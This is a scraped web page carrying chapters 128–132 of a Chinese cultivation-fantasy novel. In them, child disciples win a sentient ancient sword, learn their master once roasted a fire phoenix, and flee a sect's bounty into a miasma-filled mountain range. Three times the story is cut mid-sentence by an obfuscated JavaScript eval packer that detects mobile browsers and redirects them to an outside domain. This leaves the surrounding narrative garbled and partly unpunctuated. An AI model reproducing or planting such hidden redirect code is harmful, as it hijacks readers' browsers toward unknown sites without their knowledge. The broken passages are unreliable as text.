那不再是孩童稚嫩的身姿,而是一位真正的、睥睨天下、执掌无上 剑道的君王。 她心中有一种无比强烈的预感:只要不夭折,迟早有一天,这个孩子会屹立于世界之巅,成为那至高无上的剑道魁首。 她的眼神变得无比复杂,充满了敬佩、强烈的好奇,以及连她自己都未曾察觉的……一丝源于灵魂深处的敬畏。 一旁的林思思更是小脸煞白,不见半分血色,紧紧抓着苏心瑶的胳膊,指甲几乎要掐进肉里,身体还在微微发抖。 萧星尘、鹿闻声、苏渺渺、墨妍和铁峰五人强忍着伤痛,快速地将赤炎宗修士身上的储物袋收集起来,逐个翻找。 幸运的是,这些宗门弟子身家颇为丰厚,果然找到了不少品阶不错的疗伤丹药,此外还有一些下品灵石和几株不错的灵草。 萧星尘看都没看那些灵石和灵草,直接一股脑地塞给了墨妍和铁峰:“这些你们收着。 墨妍和铁峰看着手中突然多出的资源,都是一愣。 这些对于散修的他们来说,已是一笔不小的财富,足够他们累死累活打拼一整年。 没想到,尘哥居然如此轻易的就都送给他们了。 两人眼眶瞬间就红了,铁峰瓮声瓮气地道:“尘哥……这…… “拿着,恢复实力要紧。萧星尘语气不容置疑,已然将他们视为了真正的队友。 第129章 上域封家,派人来下域寻找神剑 众人服下丹药,精纯的药力化开,身上的伤势开始以肉眼可见的速度恢复,苍白的脸上也终于有了一丝血色。 江迷雾长长的睫毛颤动了几下,缓缓睁开了眼睛。 他首先下意识地看向身边的同伴,目光逐一扫过,确认大家都还活着,这才松了口气。 这时,郁仙蹲在地上,指尖轻轻拂过那层厚厚的剑粉,琥珀色的眼眸泛起水雾:“它们……直到最后,都在守护我们。” 她的指尖微微颤抖,瞳孔里盛满了无尽的哀伤与一种近乎虔诚的敬意。 自幼经历的苦难与冷眼,让她对世间任何一丝善意与温暖都格外敏感,也格外珍惜。 这些剑,它们并非生灵,没有言语,却在最后时刻,以一种决绝无比的姿态,回应了剑主的召唤,用自己最后的残躯为他们筑起了生命的壁垒。 这种被毫无保留地、义无反顾地保护的感觉,像一道暖流冲垮了她心中某处冰封的堤防。 一滴晶莹的泪珠无法抑制地滑落,无声地渗入银色的粉末之中。 墨妍走到她身边,轻轻拍了拍她微微颤抖的肩膀,“别太难过,我相信,对于这些剑而言,能在沉寂了无尽岁月后,于最后一刻绽放锋芒,履行守护之职,它们亦是‘心’甘情愿的。” 她顿了顿,望向那无尽的剑粉,眼神悠远:“剑之存在,或为杀伐,或为守护。于寂灭中寻得意义,在崩碎时践行大道,这何尝不是一种圆满?” “它们并非逝去,而是以另一种形式,将守护之念铭刻于此间天地。这份重于山岳的情义,我们铭记于心,化作前行的力量,便是对它们最好的告慰。” 郁仙抬起头,泪眼朦胧地看着墨妍,用力地点了点头,将那份沉重的感动与悲伤,深深埋进了心底。 墨妍深吸一口气,看向众人,语气转为凝重:“此地不宜久留,赤炎宗的人全军覆没,他们宗门内必有感应,很快就会派更厉害的人来此。我们必须立刻离开葬魂峡谷,找个安全的地方再从长计议。” 众人皆点头赞同,相互搀扶着起身。 他们先是顺利的找到了魂婴果,随后迅速离开了这片残破的峡谷,身影消失在蜿蜒的山道之中。 经过近半个时辰的谨慎行进,他们找到了一处相对隐 蔽、气息也较为平和的密林深处,这才稍稍放松下来,进行短暂的休整。 就在这时,江迷雾看着手中的夙兴剑,眼中闪过一丝不舍,但还是郑重地将其递向鹿闻声:“二师兄……剑…… 剑是由二师兄炼化而成的,应该,属于二师兄。 夙兴剑似乎是感受到了他的意图,发出一声轻微的嗡鸣,它自动从江迷雾微微松开的手心飞起,绕着他轻盈地飞了一圈,最后温顺地悬停在他手边,用剑柄轻轻蹭着他的手指,仿佛在表达对他的依恋。 鹿闻声的手僵在半空,愣了一下,随即释然地笑了。 他脑海中,炎老苍老的声音带着无比的感慨:“神物有灵,自择其主。炼化不过是修补了它的躯壳,如同给一件绝世宝衣缝好了扣子。但真正赋予它灵魂、让它甘愿臣服并绽放光芒的,是你四师弟守护所有人的至纯剑心与无上剑意。此剑,已与他性命交修,血脉相连,旁人,再无法驱使分毫了。 鹿闻声其实本就未有占有之心,他心中有个清晰的直觉,夙兴剑与江迷雾之间有着天然的羁绊,本就该属于他。 他只是想拿过来好好端详研究一下这绝世神兵而已。 看着夙兴剑那“恋主的模样,鹿闻声无奈地笑道:“四师弟,这剑是认准你了,我可抢不走。它属于你,也只会属于你。 江迷雾一怔:“可是,它是你…… “不,鹿闻声语气异常坚定地打断他,眼中没有丝毫芥蒂,只有满满的欣慰与坦然,“我不过是重铸了它的剑身,但真正唤醒它沉睡十万年剑魂,得到它认可的,是你江迷雾!是你在最后关头那不惜自身、也要守护所有人的坚定剑心! 萧星尘也重重点头,“二师弟说得对!四师弟,这夙兴神剑,合该是你的,只有你,才能发挥出它真正的威力,我们只会为你高兴,绝无半分嫉妒。 墨妍、铁峰、郁仙和苏渺渺都用力地点头,目光清澈而真诚,里面没有丝毫的贪婪与嫉妒,只有最纯粹的认可、支持与为他而感到的骄傲。 江迷雾感受着夙兴剑传来的亲昵、依赖和雀跃情绪,又看向周围这一张张历经生死、写满真诚的脸庞,一股滚烫的暖流猛地冲撞着他的心扉。 他不再推辞,重重点头,将夙兴剑紧紧握在手 中,仿佛握住了一份沉甸甸的信任与责任。 就在他与剑的感应达到前所未有的融洽时,脑海中忽然毫无征兆地闪过几个极其破碎、模糊的画面——尸山血海的古老战场、一声充斥着绝望与不甘的震天龙吟、一道模糊不清却散发着令人心悸的恐怖魔影…… 一股苍凉、悲壮而又沉重的情绪猛地涌入他的心间,让他一阵微微眩晕,脸色又白了几分。 “夙兴……你的过去,究竟背负着什么?他在心中默然发问。 神剑在他手中轻轻颤动着,回应他的,却只有一片深沉的沉寂哀伤。 与此同时,遥远的赤炎宗。 “元昊的魂灯……熄灭了?蕴含着无尽怒火与难以置信的咆哮猛然震动了整座殿宇,恐怖的威压让梁柱都簌簌作响。 赤炎宗宗主柳鹰,死死盯着眼前代表亲传弟子赵元昊的本命魂灯已然熄灭了,他双目瞬间变得赤红如血,狂暴的炼虚巅峰威压毫无保留地席卷开来,令殿外守卫的弟子瑟瑟发抖,几乎要跪伏在地。 “是谁?是谁敢杀本君的亲传弟子!!!他怒吼着,声波不断向外扩散。 他猛地一挥手,催动了殿内一枚特殊的留影石。 上次柳青冥和三位化神期长老在灵墟秘境莫名团灭,赤炎宗吸取教训,特意让重要弟子外出时携带能将最后影像实时传回的留影石。 留影石上光芒闪烁,模糊地呈现出赵元昊等人最后传来的画面——诡异的峡谷、几个年纪极小的孩子、以及那柄爆发出开天辟地般恐怖剑意的神秘古剑。 “一群小畜生……还有……神剑?柳鹰的愤怒瞬间被极致的贪婪所取代,脸上肌肉扭曲。 “好好好!杀我赤炎宗亲传弟子,夺我赤炎宗神物!传令所有亲传弟子,立刻前往葬魂峡谷,封锁一切消息,就算挖地三尺,也要找到那些小杂种和神剑下落,活要见人,死要见尸!若有任何阻拦,不管是谁,格杀勿论! …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453382|185272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而就在不久前,夙兴剑苏醒,爆发出那惊天动地的“开天剑意的那一刻。 遥远的、灵气浓郁得几乎化为实质的上域某处,一座悬浮于云海之巅、缥缈若仙境的阁楼内。 一位正在闭目推演星辰运转、周身环绕着玄奥法则气息的白衣老者 忽然眉头微微一皱指尖跳跃演算的星光莫名紊乱了一瞬。 “咦?”他缓缓睁开眼眼中闪过一丝诧异与疑惑“下域那般灵气贫瘠之地为何会突然出现一丝……太古剑意?竟能微弱扰动天机运转?” 他沉吟片刻屈指轻轻一弹一道灵光迅疾如电飞出阁外。 “封瑶来见我。” 不多时一位身着华贵紫裙、身姿婀娜、面容冷艳精致、眼神却锐利如寒刀的女子步入阁中恭敬地躬身行礼:“老祖宗您找我?” “瑶儿”老者声音平淡无波“一年前你曾奉命去下域处理那江家孽障对下域那等贫瘠之地还算熟悉。老夫方才感应到下域有异常剑意波动似是古剑复苏之兆。你且去查探一番看看是何缘由。切记低调行事莫要惊动下域那些宗门以免横生枝节。” 名为封瑶的女子闻言垂下的眼眸深处骤然划过一抹极快的狠辣与阴冷她声音依旧恭敬:“谨遵老祖法旨。” 一年前!江家! 那个她翻遍了废墟几乎掘地三尺也没找到的小野种。 真是踏破铁鞋无觅处正好借此机会名正言顺地再去下域彻底斩草除根 …… 密林中江迷雾缓缓收回内视的心神。 丹药效果很好他的外伤已恢复得七七八八但他能清晰地感觉到自己的神魂被撕裂了一小块时刻传来一种虚弱的剥离感。 强行驾驭远超自身境界的神剑又硬抗了元婴修士的禁术冲击终究是付出了沉重的代价——神魂本源受损了。 表面看似无恙实则潜藏巨大危机。 若不及早寻得滋养修复神魂的圣物治愈必将影响未来修行上限甚至可能留下永久的缺陷。 看来等下次见到师尊必须要把自己神魂受伤的事情告诉师尊了他在心中默默想着。 同时在他神识内视时那个模糊的画面再次不由自主地浮现。 这次不再是血腥的战场而是一个白衣如雪、身影朦胧缥缈、看不真切面容的女子端坐于莲台之上周身弥漫着一种令他心弦悸动、生出无尽亲近与温暖气息的道韵。 可无论他如何努力集中精神都无法看清她的面容仿佛隔着一层无法穿透的万古迷雾。 冥冥之中有个声音在他心底不断回响:变得更强!只有强大到足以撕裂一切迷雾才能找到她看清她知晓一切的缘由。 休整完毕众人决定即刻动身前往下一个目的地——极北苦寒之地的雪寂山寻找并蒂雪莲。 苏心瑶深吸一口气走上前眼神坚定地看着孩子们:“我跟你们一起去北地险峻环境酷寒多一个人多一份照应。” 经历此事她已彻底将自己视为了这个团队不可或缺的一份子。 夕阳西下金色的余晖将他们的影子在林间拉得很长。 一行人坚定地向着北方出发。 等赤炎宗弟子赶到时看到的唯有一片死寂的狼藉以及那一道仿佛天神震怒劈开的巨大地裂仿佛在无声地嘲笑着他们的迟来与徒劳。 第130章 得知火凤凰被烤了吃,众人呆若木鸡 路上。 苏渺渺好奇地看向苏心瑶和林思思,问道:“瑶瑶姐姐,思思姐姐,你们怎么会突然出现在葬魂峡谷呀?” 苏心瑶闻言,下意识地就想回答:“当然是因为你们师……” 话未说完,旁边的林思思猛地在她胳膊上拧了一把,力道之大,疼得苏心瑶当场“嘶”了一声,龇牙咧嘴地把后半句话咽了回去。 林思思立刻接过话头,脸上堆起略显僵硬的笑容打哈哈道:“啊哈哈,这个嘛……当然是因为我们……我们无意间路过,对,路过!正好感应到那边有强大的能量波动,就过来看看热闹,没想到是你们。” 孩子们脸上都露出了狐疑的神色。 鹿闻声摸着下巴:“真的只是……路过?” 葬魂峡谷位置偏僻,怎么看都不像是会“无意间路过”的地方。 “当然了!”林思思斩钉截铁,眼神却有点飘忽。 一旁的墨妍看着孩子们与苏心瑶、林思思之间无比熟稔自然的互动,心中早已掀起了惊涛骇浪。 从苏心瑶和林思思突然出现在战场的那一刻起,她就无比惊讶。 她们二人衣襟胸前清晰绣着的云纹绕日图腾,那是天元宗的标志。 她万万没想到,这五个小家伙,居然会认识天元宗这等在下域堪称巨擘的大宗门弟子,而且关系如此亲密。 那位苏心瑶,更是身份尊贵无比的宗主之女。 在她过往的认知里,他们这等散修,与这等大宗门的核心弟子根本是两个世界的人,一辈子都不可能产生交集。 如今,拖小家伙们的福,她和铁峰都能和天元宗的人产生交集了。 这是她以前想都不敢想的。 她记得小家伙们说他们的宗门叫玄天宗。 她之前听都没听过,原本还以为是个不起眼的小宗门,如今看来…… 或许根本不是自己孤陋寡闻,而是这个玄天宗,神秘远超她的想象。 天色迅速暗沉下来,在彻底黑透前,众人在一处背风的山坳里停下休整。 篝火很快升了起来,枯枝在火焰中噼啪作响,在每个人的脸上投下温暖而柔和的光影。 经历了葬魂峡谷那场惨烈的大战,此刻这片刻的宁静与安全,显得弥 足珍贵。 大家围坐在火堆旁。 铁峰熟练地处理着路上顺手猎到的几只肥硕野兔将它们架在火上翻烤。 很快油脂便被逼出滴落在火堆里发出“滋滋”的诱人声响。 浓郁的肉香混合着烟火的焦香气霸道地弥漫开来疯狂刺激着所有人的味蕾。 “哇铁峰哥哥烤的兔肉好香啊。”苏渺渺吸着小鼻子大眼睛几乎要黏在烤得金黄焦脆、滋滋冒油的兔肉上忍不住悄悄吞咽着口水。 不只是她其他几个孩子也都眼巴巴地望着像一群被馋虫勾住了的小猫眼神里写满了渴望。 自从离开宗门他们只在做第一个任务时在李老汉家吃过一顿香喷喷的烤鸡。 一晃半个月过去每天风餐露宿他们一顿热乎饭都没吃过。 虽说筑基后能辟谷不觉得饥饿但“饿”和“馋”是两码事。 小家伙们早就想念热腾腾的食物了异常怀念在宗门时每天都能吃到师尊亲手做的花样百出的美味饭菜的日子。 不仅是他们就连苏心瑶和林思思这些日子也过得极为艰苦嘴里也早就淡得不行 兔肉终于烤好外焦里嫩香气扑鼻。 铁峰撕下一条最肥美多汁、肉最多的后腿首先便递给年龄最小的苏渺渺。 苏渺渺看着递到眼前冒着滚滚热气和浓郁香气的金黄兔腿用力地咽了一大口口水小肚子甚至不争气地“咕噜”叫了一声。 但她并没有立刻吃而是非常有礼貌地用两只小手捧着那条对她来说有些大的兔腿转身递到了旁边的苏心瑶面前。 她一直记得当初在灵墟秘境入口赤炎宗那个讨厌的少主羞辱师尊时只有瑶瑶姐姐站出来帮师尊骂了回去。 从那一刻起她就认定瑶瑶姐姐是个顶好顶好的人。 小丫头扬起包子脸脸上是灿烂又真诚的笑声音糯糯的:“瑶瑶姐姐先吃。” 苏心瑶看着递到面前的兔腿犹豫了一下。 所有人的目光都落在她身上见她犹豫都下意识以为这位大小姐是要客气推辞——毕竟没有一个成年人会真的和孩子抢第一口吃的。 然而 让所有**跌眼镜的是苏心瑶在短暂的犹豫后竟然缓缓伸出手毫不客气的接了过来。 她刚才的犹豫仅仅是因为身为天元宗大小姐她从未在野外吃过如此粗陋、直接用手抓着的食物。 但腹中的空匮和那霸道诱人的香气最终占了上风。 她试探性地张开嘴轻轻咬了一小口。 细细咀嚼了两下她原本有些勉强的表情忽然一怔随即眼睛微微亮起带着一丝惊喜脱口而出:“咦?味道……还不错?” 墨妍和铁峰:“……” 两人对视一眼眼神复杂。 这位大小姐是真不见外啊孩子们都饿着肚子眼巴巴等着呢她倒先吃上了。 林思思也是嘴角微微抽搐下意识地想抬手扶额 苏心瑶见大家都盯着自己一边咀嚼着嘴里香喷喷的兔肉边眨了眨清澈的大眼睛疑惑道:“你们也吃啊都看着**嘛?” 众人:“……” 得这位在天元宗被众星捧月宠惯了的大小姐脑子里压根就没有“应该让着孩子”这根弦。 她的行为并非出于自私而是纯粹被保护得太好习惯了被优先照顾心思单纯得根本想不到那么多复杂的人情世故。 众人无奈一笑倒也生不起气来反而觉得她这有点天然呆的模样……有点可爱? 铁峰无奈地摇摇头脸上带着憨厚的笑意将其余肥美的兔腿一一分给望眼欲穿的孩子们。 很快山坳里就响起了欢快的咀嚼声。 大家都吃得格外香甜满手满嘴都蹭满了亮晶晶的油花一边吃一边含糊不清地夸赞: “唔…好次铁峰哥哥太厉害了。” “外酥里嫩比聚仙楼的灵食还好吃。” “香!太香了!” 这倒不是恭维铁峰和墨妍作为散修常年在外奔波风餐露宿是家常便饭这烤野味的手艺早已练得炉火纯青。 看着他们吃得这么香甜满足墨妍和铁峰脸上的笑意也更浓了一种淡淡的、如同家人般的暖流在空气中流淌。 围着温暖的篝火吃着香喷喷的烤肉大家有一搭没一搭地聊着天话题不由自主地回到了那场惊天动地的大战。 < ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的目光在周围一圈充满好奇和震惊的脸上扫过,语气平常地解释道:“这个啊……是师尊之前逮到了一只火凤凰,然后烤给我们吃了。吃完剩下的神骨和羽毛,我觉得丢了可惜,就收起来了。本来是打算以后炼制法器用的,没想到这次炼化夙兴的时候,正好派上了用场。” “.” 寂静。 死一般的寂静。 苏心瑶张着嘴,后面所有质疑的话全都卡在了喉咙里,整个人呆若木鸡。 火凤凰.烤……烤了吃了?! 这是人能干出来的事? 林思思手里的半块兔肉“啪嗒”一下掉在地上,她却毫无所觉,只是死死盯着鹿闻声,声音发颤:“吃……吃了?你们……你们把上古神兽……烤了吃了?这若是传出去……” 她简直不敢想象会在修真界掀起何等滔天巨浪。 墨妍倒吸一口凉气,捂着心口,仿佛听到了自己心碎的声音,喃喃道:“火凤凰……神骨……赤羽……那……那得是多少万……不,多少亿灵石都换不来的绝世珍宝啊……就……就这么烤了?” 她眼前一阵发黑,散修穷苦一辈子的本能让她痛彻心扉。 铁峰闻言,年纪轻轻的他一下子变得一把年纪。 要不是从鹿爷嘴里说出来,他绝对不相信这个世界上会有人把火凤凰烤来吃的。 匪夷所思,简直匪夷所思,世界上怎么会有这种人? 第131章 刚到风吼镇,就遇到悬赏追杀令 萧星尘、郁仙、江迷雾和苏渺渺也是一脸的不可思议和努力回忆。 萧星尘艰难地吞咽了一口唾沫:“我们什么时候吃过烤凤凰?我怎么一点印象都没有?” “对呀对呀,”苏渺渺也歪着小脑袋,“我也不记得了。” 鹿闻声耐心解释道:“就是师尊第一次给咱们做烤鸡的那次啊,那是咱们吃过最好吃的烤‘鸡’了,后来师尊用枯荣轮回菇给咱们炖的小鸡炖蘑菇,虽然也好吃,但都没有那次的金黄流油的烤‘鸡’香。” 孩子们经他这么一提醒,眼睛瞬间全都亮了。 “啊!想起来了,那次的金黄色烤鸡。” “对对对!怪不得那么好吃,原来是烤凤凰。” “好想再吃一次烤火凤凰呀” “我也是!我也是!” 孩子们兴奋的童言童语,如同又一记记重锤,狠狠砸在已经濒临崩溃的四人头上。 抓上古神兽火凤凰烤来吃就已经足够惊世骇俗、颠覆认知了。 他们的师尊,居然还用枯荣轮回菇那等传说中能活**、肉白骨,甚至领悟生死枯荣道韵的上古神物……用来炖鸡? 这个世界简直太疯狂了!!! 苏心瑶只觉得一阵头晕目眩,需要林思思扶着才能坐稳。 她看着眼前这群一脸“不就是吃了顿好的嘛”表情的小家伙,第一次对“云见月”这三个字产生了某种近乎恐惧的敬畏。 这已经不是强大能形容的了,这简直是……逆天! 墨妍和铁峰已经彻底说不出话了,两人互相搀扶着,只觉得呼吸艰难。 原以为这帮小家伙拿极品丹药当糖豆吃,就已经足够吓**了。 没想到,他们那位神秘的师尊,干的每一件事都是在挑战他们想象力的极限。 抓凤凰烤来吃、用上古玄菌炖鸡…… 这仅仅是他们知道的,或许还有许许多多不为人知的,他们都不敢想,他们的师尊到底是多么强大的人物。 这么多逆天的天材地宝吃进肚子里,就算是一头猪,恐怕也能被硬生生堆成飞天遁地的神猪了吧?! 他们的师尊……到底是何方神圣? 此时此刻,云见月的形象在两个人心中已经无所不能,逼格直逼渡劫 期老怪的程度。 他们丝毫不会意识到,云见月之所以烤火凤凰和用枯荣轮回菇炖鸡,完完全全是因为她不识货。 “你们师尊是在哪里抓到的火凤凰?苏心瑶问道。 “不知道啊。 “. “那你们师尊是在哪里找到的枯荣轮回菇? “不知道呀! “. 好嘛,一问三不知,合着你们就知道吃呗? 苏心瑶等人一阵无语。 好不容易从极致的震惊中稍稍回过神,大家的话题再次回到了夙兴剑上。 “四师兄,能再给我们看看夙兴剑吗?苏渺渺眼睛里满是好奇。 江迷雾点点头,心念一动,夙兴剑便悄然浮现于身前。 神剑此刻光华内敛,但剑身自然流淌的星辉和那股渊渟岳峙的威严,依旧令人心折。 众人围拢过来,即便不是第一次见,依旧为神剑的瑰丽与不凡而感到惊叹。 它在江迷雾手中显得异常温顺。 “它能变大变小吗?苏渺渺像个好奇宝宝。 江迷雾尝试着集中意念,夙兴剑发出一声低低的、仿佛回应般的轻鸣,剑身光华微微流转,果真缩小了几分,但很快又恢复了原状。 江迷雾轻轻抚摸着冰凉的剑身,他能感受到剑魂传递来的一丝微弱而复杂的感念,沉重、悲伤,仿佛承载了万古的孤寂。 “我总觉得……它经历过很多很多,很沉重,很悲伤的事情。他想到了那些偶尔闪回的破碎战场画面和那道恐怖的魔影。 “有时候能感觉到它在‘说话’,但我听不懂。江迷雾补充道。 苏心瑶凑近了些,好奇地打量着神剑,“我听我爹说过,上古神器皆有灵性,灵性越强,越能与主人心意相通。说不定等你再强一些,就能真正和它沟通了。 墨妍的神色略显凝重,她看着夙兴剑,声音低沉了几分:“十万年的沉寂,它所见证和承载的故事,定然惊天动地。如今它既认雾神你为主,这些因果,或许终有一日,需要你来承接和了结。 这话,如同投入平静湖面的一颗石子,让篝火旁轻松的氛围里,掺入了一丝淡淡的沉重。 篝火燃尽,只余下一地带着余温的 灰烬。 当第一缕天光刺破云层九道身影已朝着雪寂山方向疾行。 接下来的数日行程出乎意料地顺利没有遇到任何麻烦。 这一日他们来到了一处名叫“风吼镇”的边陲小镇。 这里是北上路线的一个重要补给点。 低矮的土石围墙勉强圈出镇子的范围入口处人来人往大多是些身着劲装、佩戴兵刃、脸上带着风霜与彪悍之气的散修和佣兵。 空气中弥漫着某种若有若无的紧张感。 踏入镇子那股异样的氛围更是如影随形让人不适。 只见路旁的修士们虽然看似在休息闲聊但目光却像鹰隼般警惕不断锐利地扫视着周围的每一个行人。 他们的议论声清晰地钻进萧星尘一行人的耳中。 “听说了吗?赤炎宗这次可是下了血本了。” “怎么可能没听说巨额悬赏十万下品灵石通缉一伙五六岁的孩子真是稀奇。” “啧啧也不知道那群孩子是怎么得罪赤炎宗了。” “说是这群小魔头穷凶极恶坑杀了赤炎宗数十名弟子夺了重宝。” “五六岁坑杀元婴和金丹大能?这谁信啊?怕是赤炎宗在遮掩什么丑事吧……” “嘘!小声点!赤炎宗的巡查弟子也在镇上呢咱们管那么多干嘛反正若是被我撞见那些孩子我肯定抓住他们送到赤炎宗面前十万下品灵石够逍遥快活好一阵子了。” “这倒也是……” 每一句话都狠狠砸在众人的心上。 孩子们下意识地低下头尽量用衣服遮住脸。 苏心瑶、林思思、墨妍和铁峰迅速交换了一个眼神都从彼此眼中看到了同样的凝重。 悬赏令竟然已经传到了这种偏远的边陲小镇。 赤炎宗的动作比他们预想的还要快 没有任何犹豫墨妍立刻打了个手势。 队伍立刻转身保持着尽可能镇定的速度向着镇外快速移动。 然而就在他们转身的刹那街道对面一个靠在墙角的刀疤脸汉子目光无意中扫过他们尤其是被护在中间只到成人腰间的矮小身影与悬赏画像的描述瞬间重合。 他 的眼睛猛地一亮贪婪之色一闪而过随即又迅速低下头假装挠痒痒但一只手却悄然缩进袖中毫不犹豫地捏碎了一枚传讯玉符。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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剑光疯狂飞掠速度快到撕裂空气发出尖锐的呼啸。 仅仅飞出了不到数十里身后的破空之声便如同潮水般汹涌逼近。 “不行 如果仅仅是 赤炎宗那七八个人他们并不怕。 可是还有无数的散修和佣兵。 重金之下必有勇夫他们为了灵石也会不惜一切代价的抓住他们。 “不能继续在天上飞了这样会成为活靶子。”铁峰急声大喊他丰富的散修逃亡经验在此刻发挥了作用。 墨妍目光如电急速扫视下方变得崎岖荒凉的地形猛地指向左前方一片笼罩在淡淡灰黑色雾气中的山脉。 “只能赌一把了改道进黑风山脉利用那里的复杂地形和瘴气看能不能甩掉他们。” 黑风山脉以地势险峻、妖兽横行、以及那能迷幻心神、吞噬生灵的天然瘴气著称是附近修士闻之色变、轻易不敢踏足的死亡绝地。 但他们没有第二个选择。 不去必死无疑! 进去或许还有一线生机! 众人眼中闪过决绝没有任何犹豫。 五道剑光在空中划出惊险的弧线朝着那片死亡之地俯冲而下。 那片山脉仿佛被诅咒过光线在其上空都变得扭曲灰黑色的瘴气如同活物般蠕动尚未靠近一股令人心悸的阴冷死寂气息便扑面而来甚至连灵力的运转都似乎滞涩了几分。 当第一缕带着腐臭的瘴气扑面而来时身后的破空声已近在咫尺。 前路是未知的、弥漫着致命危险的原始险境仿佛一张择人而噬的巨口。 后路是速度更快、实力更强、决心要将他们碾碎的索命强敌。 他们的北行之路在这一刻陡然从艰难的跋涉 第132章 神秘禁制,,萧星尘机缘到来 阴冷的迷雾如同活物般吞噬了最后一丝天光,当众人冲入黑风山脉地界的瞬间,整个世界仿佛都被泼了一层黏稠的墨。 无处不在的灰黑色瘴气在林间缓慢流淌,十步之外便一片模糊,怪石嶙峋,参天古木的枝杈如同鬼爪般伸向灰蒙蒙的天空。 神识探出不过身体数丈,便如同泥牛入海,再也无法感知到更远的情况。 风中还夹杂着若有若无的低语和呜咽,像是无数亡魂在耳边窃窃私语,搅得人心神。 “大家千万别走散!”墨妍大声道,她的声音在浓雾中显得沉闷而压抑。 然而,话音刚落,周围的灰雾毫无征兆地变得浓郁如粥,翻滚着将众人彻底吞没。 蛊惑人心的低沉呓语和仿佛源自灵魂深处的亡魂哭泣声,直接钻进脑海。 “来呀……过来呀……” “痛苦吗?绝望吗?放弃吧……” 苏心瑶和林思思脸色一白,眼神瞬间有些涣散。 “是天然幻象,大家都紧守心神。”墨妍急声喝道,让众人一个激灵,恢复了神志。 就在这时,郁仙周身泛起淡淡的银色光华,枯荣之力对生死气息的敏感让她勉强能辨别真实与虚妄。 苏渺渺小脸紧绷,口中无意识地念诵着安抚人心的话语,言灵之力让周围的诡异低语减弱了几分。 依靠着郁仙和苏渺渺,众人艰难地在一片混沌中摸索。 还没等他们喘口气,脚下地面突然传来细微的震动。 “地下有东西!”铁峰爆喝一声,猛地将身边的郁仙和苏渺渺推开。 轰! 他们刚才站立的地面猛地炸开,数只体型硕大、浑身覆盖着黑色刚毛、八只复眼闪烁着幽绿光芒的地穴魔蛛钻了出来,它们似乎完全不受视线影响,精准地扑向灵力波动最强的几人。 “别用大范围法术,会引来更多脏东西。”墨妍急声提醒。 “四师弟,借凝霜剑一用。” 话落,江迷雾一把将凝霜剑丢给萧星尘。 萧星尘身形如同鬼魅,凝霜剑在手中闪烁出冰凉的剑花。 “噗嗤!”一声闷响,绿色的汁液飞溅,魔蛛抽搐着死去。 铁峰重斧势大力沉,一斧头下去,魔蛛一击毙命。 两人配合默契这几只魔蛛被迅速解决。 整个过程几乎没发出太大响声。 然而他们才喘了两口气赤炎宗追兵也进入了黑风山脉。 也不知道他们手里有什么法宝竟然能精准的靠近他们。 继续这样下去迟早会被赤炎宗的人找到。 无法他们只能被迫向黑风山脉深入。 随着深入地势越发险峻。 渐渐地他们被逼到了一处绝地面前是一个深不见底的巨大裂谷谷中弥漫着吞噬灵力的黑色罡风令人望而生畏。 身后追兵的气息迅速逼近 “无路可走了……”林思思声音绝望。 突然江迷雾手中的夙兴剑发出一阵前所未有的急促嗡鸣。 剑身之上那些原本内敛的星辰符文竟主动亮起散发出灼热的温度剑尖微微震颤指向对面某处悬崖峭壁。 “夙兴.在指引方向!”江迷雾指向剑指引的方向。 顺着他所指的方向众人凝聚目力隐隐能模糊的看到对岸峭壁上有一处极其隐蔽的裂缝若非神剑指引根本不可能被发现。 裂缝入口处笼罩着一层几乎与岩石融为一体的古老禁制散发着微弱的灵力波动。 “赌一把!”墨妍当机立断率先御剑冲过去众人紧随其后。 众人落在悬崖狭窄的平台上近距离观察才发现那禁制并非一体而是分为三重。 第一重禁制上镶嵌着一块古朴的测灵石旁边刻着几个古老的文字。 “测灵根验血脉。”墨妍辨认出字迹。 时间紧迫她不由分说率先将自己的手掌按在测灵石上。 然而测灵石寂然无声毫无反应。 “我来!”铁峰低吼一声蒲扇般的大手几乎将整个测灵石覆盖古铜色的皮肤下青筋微凸全力催动灵力。 三息过去测灵石依旧冰冷沉寂仿佛死物。 追兵的破空声和呼喝声已经清晰可闻甚至能看到对岸雾气中隐隐闪动的灵光。 死亡的阴影急速逼近。 “尘哥!”墨妍猛地看向萧星尘眼中满是希望。 萧星尘没有丝毫犹 豫,一步上前,将自己稚嫩的小手,稳稳地按在了测灵石上。 嗡—— 测灵石仿佛从沉睡中骤然苏醒,爆发出浑厚无比的明黄色光芒。 那光芒强烈的甚至引动了周围的大地微微震颤,磅礴而苍茫的地脉气息与之共鸣,将整个平台映照得如同白昼。 第一重禁制上的流光应声而退,露出了其后幽深的通道。 “开了,原来想要开启这第一重禁制,需要土灵根。”苏心瑶惊喜地叫道。 众人鱼贯而入,当最后一个人刚进入通道,身后便传来“轰隆”一声巨响。 赤炎宗追兵的攻击狠狠砸在峭壁之上。 然而,那上古遗留下来的禁制光华只是剧烈闪烁了一下,便将所有攻击尽数吸收化解,岿然不动。 追兵只能隔着那层看似薄弱却坚不可摧的光幕,眼睁睁看着他们的身影消失在通道深处,发出不甘的怒吼。 “快走!他们中间或许有土灵根修士,很快就能打开第一道禁制。”墨妍没有丝毫放松,表情反而更加严肃,带领众人急速向内奔去。 没跑多远,第二道散发着微光的禁制壁垒再次挡住了去路。 这道禁制上并未铭刻符文,而是浮现着一连串极其古怪、违背人体常理的动态人形光影图谱,最终光影定格在一个玄奥无比的姿势上。 